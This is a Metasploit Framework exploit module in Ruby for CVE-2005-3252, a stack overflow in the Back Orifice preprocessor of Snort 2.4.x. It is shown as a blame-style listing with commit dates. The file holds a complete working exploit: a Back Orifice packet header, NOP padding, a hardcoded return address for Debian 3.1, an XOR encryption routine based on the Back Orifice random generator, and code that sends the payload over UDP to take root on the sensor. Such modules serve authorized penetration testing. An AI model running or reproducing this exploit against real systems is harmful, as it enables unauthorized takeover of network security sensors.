2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-12-18 07:59:00 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2005-12-18 07:59:00 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-01-27 05:00:35 +00:00
|
|
|
'Name' => 'Snort Back Orifice Pre-Preprocessor Remote Exploit',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the Back Orifice pre-processor module
|
|
|
|
included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
|
|
|
|
be used to completely compromise a Snort sensor, and would typically gain an attacker
|
|
|
|
full root or administrative privileges.
|
|
|
|
},
|
|
|
|
'Author' => 'KaiJern Lau <xwings [at] mysec.org>',
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2006-01-27 05:00:35 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
['CVE', '2005-3252'],
|
2009-07-27 14:05:23 +00:00
|
|
|
['OSVDB', '20034'],
|
|
|
|
['BID', '15131'],
|
2006-01-27 05:00:35 +00:00
|
|
|
['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1073, #ret : 1069
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Target 0: Debian 3.1 Sarge
|
|
|
|
[
|
|
|
|
'Debian 3.1 Sarge',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Ret' => 0xbffff350
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
2005-12-18 07:59:00 +00:00
|
|
|
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
# Configure the default port to be 9080
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(9080),
|
|
|
|
], self.class)
|
2005-12-18 07:59:00 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def msrand(seed)
|
|
|
|
@holdrand = 31337
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def mrand()
|
|
|
|
return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def bocrypt(takepayload)
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
@arrpayload = (takepayload.split(//))
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
encpayload = ""
|
|
|
|
@holdrand=0
|
|
|
|
msrand(0)
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
@arrpayload.each do |c|
|
|
|
|
encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
return encpayload
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
boheader =
|
|
|
|
"*!*QWTY?" +
|
|
|
|
[1096].pack("V") + # Length ,thanx Russell Sanford
|
|
|
|
"\xed\xac\xef\x0d"+ # ID
|
|
|
|
"\x01" # PING
|
|
|
|
|
|
|
|
filler =
|
|
|
|
make_nops(1069 -(boheader.length + payload.encode.length))
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
udp_sock.write(
|
|
|
|
bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))
|
|
|
|
)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect_udp
|
|
|
|
end
|
2005-12-18 07:59:00 +00:00
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|